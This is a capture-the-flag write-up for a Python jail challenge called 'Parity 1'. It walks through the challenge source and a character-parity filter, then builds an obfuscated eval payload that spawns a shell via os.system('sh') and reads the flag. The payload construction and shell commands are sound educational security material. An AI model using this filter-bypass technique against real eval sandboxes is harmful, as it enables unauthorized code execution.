PYJAILCTF - Parity 1
During this challenge, we were given a netcat to connect the source code and the docker :
The netcat :
nc challs2.pyjail.club 7991
Docker image :
FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
FROM pwn.red/jail
COPY --from=app / /srv
COPY --chmod=755 main.py /srv/app/run
COPY --chmod=444 flag.txt /srv/app/flag.txt
ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_CONNS_PER_IP=2
The source code (python) :
#!/usr/local/bin/python3
inp = input("> ")
for i, v in enumerate(inp):
if not (ord(v) < 128 and i % 2 == ord(v) % 2):
print('bad')
exit()
eval(inp)
So, what’s there ?
A regular input for a string
inp = input("> ")
a for loop which iterates for every char in the input :
for i, v in enumerate(inp):
The line that we are interested. This line check if the char code is under 128, which means a printable ascii char, and check if one char out of two is even
if not (ord(v) < 128 and i % 2 == ord(v) % 2):
test time !!
Of course, I tried some basic pyjail stuff like :
"open('flag.txt').read()"
or :
''.join([chr(int(octet, 8)) for octet in "157 160 145 156 50 47 146 154 141 147 56 164 170 164 47 51 56 162 145 141 144 50 51".split()])
or :
(eval)("__import__('os').system('sh')")
but nothing happened except an error ^^ (parity thing).
The first payload didn’t work because the parity was not respected at all, let’s dive into ord() :
'o'(code ASCII111- odd)'p'(code ASCII112- even)'e'(code ASCII101- odd)'n'(code ASCII110- even)'('(code ASCII40- even)'\''(code ASCII39- odd)'f'(code ASCII102- even)'l'(code ASCII108- even)'a'(code ASCII97- odd)'g'(code ASCII103- odd)'.'(code ASCII46- even)'t'(code ASCII116- even)'x'(code ASCII120- even)'t'(code ASCII116- even)')'(code ASCII41- odd)'.'(code ASCII46- even)'r'(code ASCII114- even)'e'(code ASCII101- odd)'a'(code ASCII97- odd)'d'(code ASCII100- even)'('(code ASCII40- even)')'(code ASCII41- odd)
When we type a built-in the nc returns nothing. Not an error, interessting. This is due to the eval, which eval a string and execute it.
nc challs2.pyjail.club 7991
> type
Behind the scenes, this is what happened :
eval('type')
Which ran type, but not print it.
This is great because the parity thing did not proc because eval eval’d the type built-in. Very goood !
When we try to inject char with the good parity, it works !!
(eval)(' 1 +2' )
Let’s see :
- (eval) is evaluated into the first eval (from source code) and not integrated into the parity check
- the
(and the last)are not evaluated because eval is taking( )to work 'is
I built a mini program in python based on the source code in order to check if the char is odd or even
#!/usr/local/bin/python3
def parity():
inp = input("> ")
for i, v in enumerate(inp):
if not (ord(v) < 128 and i % 2 == ord(v) % 2):
return "not doog"
return "good"
while True:
print(parity())
From running this python script, i started builing my payload, adding space, tabulation and playing with simple or double quote.
FYI :
- char even between simple quote with espace before and after
- char odd between double quote and that’s it no space before and after
- add a + sign between everything
- is odd
- space is even
- tab is odd
Here’s the final payload, which looks pretty sus :
(eval)( "_"+"_"+"i"+"m"+ 'p' +"o"+ 'r' + 't' +"_"+"_"+ '(' +"'"+"o"+"s"+"'"+")"+ '.' +"s"+"y"+"s"+ 't' +"e"+"m"+ '(' +"'"+"s"+ 'h' +"'"+")")
which is :
eval("__import__('os').system('sh')")
this gave me the final play :
nc challs2.pyjail.club 7991
> (eval)( "_"+"_"+"i"+"m"+ 'p' +"o"+ 'r' + 't' +"_"+"_"+ '(' +"'"+"o"+"s"+"'"+")"+ '.' +"s"+"y"+"s"+ 't' +"e"+"m"+ '(' +"'"+"s"+ 'h' +"'"+")")
ls
flag.txt
run
cat flag.txt
jail{parity_41f5812e8c0cd9}
pretty good challenge for a ‘begninner’. I have loved the payload construction and special thanks to Driikolu my homie who solved the challenge first !!